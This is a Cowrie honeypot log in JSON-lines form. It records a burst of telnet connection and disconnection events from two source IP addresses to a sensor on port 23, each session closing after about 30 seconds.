{"eventid":"cowrie.session.closed","duration":31.169854164123535,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:27.481518Z","src_ip":"208.115.200.90","session":"908cc2a7a495","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46560,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9dbb0520d5b","protocol":"telnet","message":"New connection: 208.115.200.90:46560 (10.17.0.5:23) [session: a9dbb0520d5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:27.557972Z"}
{"eventid":"cowrie.session.closed","duration":31.151220083236694,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:27.700357Z","src_ip":"208.115.200.90","session":"ab2e5cf4e05b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46706,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a6e3f020fb5","protocol":"telnet","message":"New connection: 208.115.200.90:46706 (10.17.0.5:23) [session: 7a6e3f020fb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:27.711770Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":57256,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d9de8a76c7d","protocol":"telnet","message":"New connection: 208.115.219.122:57256 (10.17.0.5:23) [session: 6d9de8a76c7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:27.894936Z"}
{"eventid":"cowrie.session.closed","duration":30.921695232391357,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:28.016223Z","src_ip":"208.115.219.122","session":"d1c9ff209e53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.829519987106323,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:28.040345Z","src_ip":"208.115.219.122","session":"4e5a4d8ee46a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.16666889190674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:28.045679Z","src_ip":"208.115.219.122","session":"4da84c620bf8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54526424407959,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:28.095037Z","src_ip":"208.115.200.90","session":"5910ad0f3551","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.769632816314697,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:28.126375Z","src_ip":"208.115.200.90","session":"1c284351a4e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":57030,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe685f58c936","protocol":"telnet","message":"New connection: 208.115.219.122:57030 (10.17.0.5:23) [session: fe685f58c936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:28.139638Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55920,"dst_ip":"10.17.0.5","dst_port":23,"session":"16ddf3963fc3","protocol":"telnet","message":"New connection: 208.115.219.122:55920 (10.17.0.5:23) [session: 16ddf3963fc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:28.204486Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":57328,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2319c690bf3","protocol":"telnet","message":"New connection: 208.115.219.122:57328 (10.17.0.5:23) [session: e2319c690bf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:28.307921Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":57102,"dst_ip":"10.17.0.5","dst_port":23,"session":"41edb790c752","protocol":"telnet","message":"New connection: 208.115.219.122:57102 (10.17.0.5:23) [session: 41edb790c752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:28.394472Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46958,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f5ea57e81f4","protocol":"telnet","message":"New connection: 208.115.200.90:46958 (10.17.0.5:23) [session: 7f5ea57e81f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:28.405779Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46484,"dst_ip":"10.17.0.5","dst_port":23,"session":"37957fec1574","protocol":"telnet","message":"New connection: 208.115.200.90:46484 (10.17.0.5:23) [session: 37957fec1574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:28.522298Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46982,"dst_ip":"10.17.0.5","dst_port":23,"session":"898abe79993c","protocol":"telnet","message":"New connection: 208.115.200.90:46982 (10.17.0.5:23) [session: 898abe79993c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:28.624747Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46986,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3201c3d3ee1","protocol":"telnet","message":"New connection: 208.115.200.90:46986 (10.17.0.5:23) [session: c3201c3d3ee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:28.630295Z"}
{"eventid":"cowrie.session.closed","duration":31.01152515411377,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:28.713917Z","src_ip":"208.115.219.122","session":"3452c58e0de0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":57406,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e3e21598ec6","protocol":"telnet","message":"New connection: 208.115.219.122:57406 (10.17.0.5:23) [session: 6e3e21598ec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:28.917039Z"}
{"eventid":"cowrie.session.closed","duration":30.843531847000122,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:29.018303Z","src_ip":"208.115.219.122","session":"a56f9dd74056","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":57454,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea6bbc4cf679","protocol":"telnet","message":"New connection: 208.115.219.122:57454 (10.17.0.5:23) [session: ea6bbc4cf679]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:29.024610Z"}
{"eventid":"cowrie.session.closed","duration":30.520081996917725,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:29.028301Z","src_ip":"208.115.219.122","session":"6b3feb63a4d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.912537813186646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:29.034772Z","src_ip":"208.115.219.122","session":"0692ba6d7158","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47348,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a22477d7658","protocol":"telnet","message":"New connection: 208.115.200.90:47348 (10.17.0.5:23) [session: 0a22477d7658]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:29.086488Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":57296,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4c549093710","protocol":"telnet","message":"New connection: 208.115.219.122:57296 (10.17.0.5:23) [session: b4c549093710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:29.096906Z"}
{"eventid":"cowrie.session.closed","duration":30.499309301376343,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:29.133559Z","src_ip":"208.115.219.122","session":"ddcb16760297","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.128758430480957,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:29.181258Z","src_ip":"208.115.219.122","session":"e01ce0f67e5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.575923442840576,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:29.187498Z","src_ip":"208.115.219.122","session":"c7d8ce86f0a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47396,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa6400276a6b","protocol":"telnet","message":"New connection: 208.115.200.90:47396 (10.17.0.5:23) [session: aa6400276a6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:29.266547Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47400,"dst_ip":"10.17.0.5","dst_port":23,"session":"346e7b4f1336","protocol":"telnet","message":"New connection: 208.115.200.90:47400 (10.17.0.5:23) [session: 346e7b4f1336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:29.272811Z"}
{"eventid":"cowrie.session.closed","duration":30.398256063461304,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:29.276691Z","src_ip":"208.115.219.122","session":"7dd92420f681","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":57528,"dst_ip":"10.17.0.5","dst_port":23,"session":"e943b974afec","protocol":"telnet","message":"New connection: 208.115.219.122:57528 (10.17.0.5:23) [session: e943b974afec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:29.326119Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":57546,"dst_ip":"10.17.0.5","dst_port":23,"session":"5514e021550e","protocol":"telnet","message":"New connection: 208.115.219.122:57546 (10.17.0.5:23) [session: 5514e021550e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:29.413345Z"}
{"eventid":"cowrie.session.closed","duration":30.808592081069946,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:29.445864Z","src_ip":"208.115.200.90","session":"c15fa9a24f26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47536,"dst_ip":"10.17.0.5","dst_port":23,"session":"74dc69df7b88","protocol":"telnet","message":"New connection: 208.115.200.90:47536 (10.17.0.5:23) [session: 74dc69df7b88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:29.480612Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":47620,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f9db59b5c6c","protocol":"telnet","message":"New connection: 208.115.200.90:47620 (10.17.0.5:23) [session: 2f9db59b5c6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:29.538591Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":48576,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3ab102120a4","protocol":"telnet","message":"New connection: 208.115.200.90:48576 (10.17.0.5:23) [session: b3ab102120a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:30.079324Z"}
{"eventid":"cowrie.session.closed","duration":30.868392944335938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:30.084044Z","src_ip":"208.115.219.122","session":"b82a4484ae15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":57962,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecba98d60bd4","protocol":"telnet","message":"New connection: 208.115.219.122:57962 (10.17.0.5:23) [session: ecba98d60bd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:30.091979Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":57970,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2d99e62f348","protocol":"telnet","message":"New connection: 208.115.219.122:57970 (10.17.0.5:23) [session: a2d99e62f348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:30.096864Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46240,"dst_ip":"10.17.0.5","dst_port":23,"session":"8acfdf9a3f13","protocol":"telnet","message":"New connection: 208.115.200.90:46240 (10.17.0.5:23) [session: 8acfdf9a3f13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:30.127377Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46236,"dst_ip":"10.17.0.5","dst_port":23,"session":"77511052b42e","protocol":"telnet","message":"New connection: 208.115.200.90:46236 (10.17.0.5:23) [session: 77511052b42e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:30.131662Z"}
{"eventid":"cowrie.session.closed","duration":31.025368452072144,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:30.136003Z","src_ip":"208.115.219.122","session":"fa8d7562cf02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":48678,"dst_ip":"10.17.0.5","dst_port":23,"session":"402e6eef657f","protocol":"telnet","message":"New connection: 208.115.200.90:48678 (10.17.0.5:23) [session: 402e6eef657f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:30.153771Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":58142,"dst_ip":"10.17.0.5","dst_port":23,"session":"7806d06e0ac8","protocol":"telnet","message":"New connection: 208.115.219.122:58142 (10.17.0.5:23) [session: 7806d06e0ac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:30.186917Z"}
{"eventid":"cowrie.session.closed","duration":31.017685651779175,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:30.227999Z","src_ip":"208.115.200.90","session":"bd52d3c9e03f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":57514,"dst_ip":"10.17.0.5","dst_port":23,"session":"35d4d5cb7556","protocol":"telnet","message":"New connection: 208.115.219.122:57514 (10.17.0.5:23) [session: 35d4d5cb7556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:30.254637Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":48780,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fbc9bae9de3","protocol":"telnet","message":"New connection: 208.115.200.90:48780 (10.17.0.5:23) [session: 7fbc9bae9de3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:30.305584Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":60146,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec6ccba636b7","protocol":"telnet","message":"New connection: 208.115.219.122:60146 (10.17.0.5:23) [session: ec6ccba636b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:31.017942Z"}
{"eventid":"cowrie.session.closed","duration":30.77710485458374,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:31.023540Z","src_ip":"208.115.219.122","session":"b4e606ed2595","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.805732011795044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:31.042251Z","src_ip":"208.115.219.122","session":"8c0865add8f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":53526,"dst_ip":"10.17.0.5","dst_port":23,"session":"6950bf290b5d","protocol":"telnet","message":"New connection: 208.115.200.90:53526 (10.17.0.5:23) [session: 6950bf290b5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:31.111825Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":53538,"dst_ip":"10.17.0.5","dst_port":23,"session":"f31edfe7fcc6","protocol":"telnet","message":"New connection: 208.115.200.90:53538 (10.17.0.5:23) [session: f31edfe7fcc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:31.159882Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":53594,"dst_ip":"10.17.0.5","dst_port":23,"session":"99f437d586fc","protocol":"telnet","message":"New connection: 208.115.200.90:53594 (10.17.0.5:23) [session: 99f437d586fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:31.212760Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":53602,"dst_ip":"10.17.0.5","dst_port":23,"session":"048807ae6522","protocol":"telnet","message":"New connection: 208.115.200.90:53602 (10.17.0.5:23) [session: 048807ae6522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:31.219716Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":60154,"dst_ip":"10.17.0.5","dst_port":23,"session":"42cda76d485f","protocol":"telnet","message":"New connection: 208.115.219.122:60154 (10.17.0.5:23) [session: 42cda76d485f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:31.234033Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":60164,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d67ad37f3cf","protocol":"telnet","message":"New connection: 208.115.219.122:60164 (10.17.0.5:23) [session: 8d67ad37f3cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:31.244651Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":53628,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8ec71299960","protocol":"telnet","message":"New connection: 208.115.200.90:53628 (10.17.0.5:23) [session: a8ec71299960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:31.251298Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":53618,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cc8f1cc49eb","protocol":"telnet","message":"New connection: 208.115.200.90:53618 (10.17.0.5:23) [session: 5cc8f1cc49eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:31.254884Z"}
{"eventid":"cowrie.session.closed","duration":30.35185980796814,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:31.303131Z","src_ip":"208.115.200.90","session":"e7206c163020","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":53658,"dst_ip":"10.17.0.5","dst_port":23,"session":"b404bc2e431e","protocol":"telnet","message":"New connection: 208.115.200.90:53658 (10.17.0.5:23) [session: b404bc2e431e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:31.325217Z"}
{"eventid":"cowrie.session.closed","duration":30.989561080932617,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:31.338337Z","src_ip":"208.115.219.122","session":"450ca4e09162","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.222474813461304,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:31.391441Z","src_ip":"208.115.219.122","session":"e0a557555429","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":53732,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd904c83f142","protocol":"telnet","message":"New connection: 208.115.200.90:53732 (10.17.0.5:23) [session: fd904c83f142]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:31.432599Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":53802,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bbe2ec29664","protocol":"telnet","message":"New connection: 208.115.200.90:53802 (10.17.0.5:23) [session: 3bbe2ec29664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:31.506333Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54184,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc19332dad19","protocol":"telnet","message":"New connection: 208.115.200.90:54184 (10.17.0.5:23) [session: fc19332dad19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:31.973502Z"}
{"eventid":"cowrie.session.closed","duration":30.56757092475891,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:32.091205Z","src_ip":"208.115.219.122","session":"a8459b8092d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54236,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc6f5bd49c4d","protocol":"telnet","message":"New connection: 208.115.200.90:54236 (10.17.0.5:23) [session: fc6f5bd49c4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:32.127047Z"}
{"eventid":"cowrie.session.closed","duration":30.846685886383057,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:32.156272Z","src_ip":"208.115.200.90","session":"5df5f21e5011","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54254,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b54d594f393","protocol":"telnet","message":"New connection: 208.115.200.90:54254 (10.17.0.5:23) [session: 8b54d594f393]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:32.176801Z"}
{"eventid":"cowrie.session.closed","duration":30.783803939819336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:32.190305Z","src_ip":"208.115.200.90","session":"5375beb660d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54282,"dst_ip":"10.17.0.5","dst_port":23,"session":"0adc264705fe","protocol":"telnet","message":"New connection: 208.115.200.90:54282 (10.17.0.5:23) [session: 0adc264705fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:32.219612Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54330,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd9bd93dea28","protocol":"telnet","message":"New connection: 208.115.200.90:54330 (10.17.0.5:23) [session: fd9bd93dea28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:32.268367Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54394,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5b24758f9e7","protocol":"telnet","message":"New connection: 208.115.200.90:54394 (10.17.0.5:23) [session: b5b24758f9e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:32.340921Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54422,"dst_ip":"10.17.0.5","dst_port":23,"session":"6efd6e4f87a6","protocol":"telnet","message":"New connection: 208.115.200.90:54422 (10.17.0.5:23) [session: 6efd6e4f87a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:32.404018Z"}
{"eventid":"cowrie.session.closed","duration":30.91664695739746,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:32.410792Z","src_ip":"208.115.200.90","session":"8c0364fd46c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":54440,"dst_ip":"10.17.0.5","dst_port":23,"session":"521111119315","protocol":"telnet","message":"New connection: 208.115.200.90:54440 (10.17.0.5:23) [session: 521111119315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:32.438726Z"}
{"eventid":"cowrie.session.closed","duration":31.33422017097473,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:15:32.534500Z","src_ip":"208.115.219.122","session":"8247ebd14585","protocol":"telnet"}
